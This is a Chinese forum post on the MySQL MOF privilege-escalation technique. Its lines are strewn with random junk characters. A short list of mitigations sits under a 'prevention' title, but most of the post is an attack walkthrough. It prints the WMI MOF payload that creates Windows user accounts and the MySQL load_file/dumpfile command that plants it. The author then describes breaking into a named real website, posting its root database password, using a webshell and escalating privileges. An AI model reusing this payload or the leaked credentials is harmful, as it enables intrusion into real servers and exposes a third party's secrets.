Mysql mof扩展漏洞防范方法
5 X5 q7 [( `+ @# r
; U# \/ a8 J# Q5 `' w: Y' C$ Y网上公开的一些利用代码:1 T! C( I4 ~+ I
/ V2 D2 Y$ X, w+ H" ]: A#pragma namespace(“\\\\.\\root\\subscription”)4 I! l$ ~4 d Y9 ]
( C' T; T& ~* q* _instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };6 J! g4 X3 d$ M, v7 q( {: d% k$ e
: n) a0 N/ n- A
( U/ K" \# z. q* |2 Z- k
8 m9 f+ B) b$ J/ g( | 8 V/ `0 m. h) D S( w5 d
7 r/ b ?/ @, y) m% j# g, F i* X
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;- d; e* }" ?+ X+ @3 t7 x; R( u# [4 f
从上面代码来看得出解决办法: A- f( J5 `- j1 P! J/ ]5 k
: s* O5 ~' ]: [6 L* w% F1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数4 g, G6 z$ z7 e5 z4 C
1 ~, ^+ `% r% ^8 b3 F2、禁止使用”WScript.Shel”组件* W3 x9 j Y" Z" `2 b D4 H6 D1 i
- G/ V* R3 q: z$ z# N2 i3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
5 m6 T" s+ f+ b: A8 e
, Z7 E) r+ [' \8 ?, W当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下8 S Y7 R" L# p: ?: r% P3 K
9 K3 ?9 b+ X- H) b% g5 I0 j, {事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权* x9 D# A9 H/ I
8 U! D2 q# C9 `5 S- I6 x但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容+ f, \- _ n! a* \8 t+ D0 Y$ }
g. a+ \- l6 j$ f看懂了后就开始练手吧
8 o3 g( j9 p) {! X) I
0 V& Y, N( D* s' Ehttp://www.webbmw.com/config/config_ucenter.php 一句话 a
2 r2 P7 |1 W/ m' h% O K9 C. I
& r9 m7 Q8 k) T& G& @! [' ?( f$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。4 h) t. n5 n8 v- D5 I( O- c1 ~
# t& A+ @- z. N1 A于是直接用菜刀开搞
- [* G; F7 O# B, d9 r7 M4 R; y# X$ K! ^$ \8 e
上马先8 j6 D0 N# Z+ O* M/ P" v( W( t
1 w$ |: M0 n4 v8 L既然有了那些账号 之类的 于是我们就执行吧…….
. x% G1 s! V# e' K1 t; y. C$ T. {
5 j* p' \3 u$ a ]% o小小的说下$ I8 n5 ^+ V- l, E" \+ D
% W5 q- K$ d8 j4 ~( j
在这里第1次执行未成功 原因未知' ^( `& l: u- _' \5 |
8 e! l' a' U8 c/ w5 F' Y我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
5 X( @9 f$ A: N+ h) O3 |- c) c9 D8 @" I
#pragma namespace(“\\\\.\\root\\subscription”)
$ D. B2 r; \ _& Y, t
: d I/ O! Y1 W: g, d g3 Vinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
: F$ |; L- Q7 y5 ?! V
4 [ D* J7 F) L, I$ z* E9 l我是将文件放到C:\WINDOWS\temp\1.mof
0 v3 ~7 {7 z3 h7 d# t0 n, b+ z
9 ~7 v. d. ~+ ?% b所以我们就改下执行的代码) a2 M; P% J, O4 K* l" `
0 m7 v. R. n0 j7 e- X, ]& B6 E
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
9 A+ ^% x/ M" g' J- [! n$ K) w1 c! r8 m# r f$ R
6 a: d! B8 F7 j' A7 Q3 o: N. L% t0 `0 H1 f+ q* C
但是 你会发现账号还是没有躺在那里。。) B9 M8 Z8 m( F& m" ^4 ?% u
: I9 Y' @( a" B7 ]2 D
于是我就感觉蛋疼2 V( h3 p \8 r! \' L- v( M" }
, X m; K, s" v H' y: X* h4 U
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
. F; B( f) g% W0 n' O6 H( C) u3 U$ i4 o' y0 _. o
7 J9 {3 ]8 k" m$ X1 T$ C( m- W# D- y, X9 l# z, W. v' u
但是其他库均不成功…# l* G9 `' E7 s4 B3 r
( w6 G W/ x/ @4 [2 `
我就很费解呀 到底为什么不成功求大牛解答…" W4 u4 ?$ D0 H) w: J
: {* Z; x- [) H6 h9 c
1 u$ A+ D' P; f6 K" [& O# E/ _0 _% N; b9 W F: V1 {
|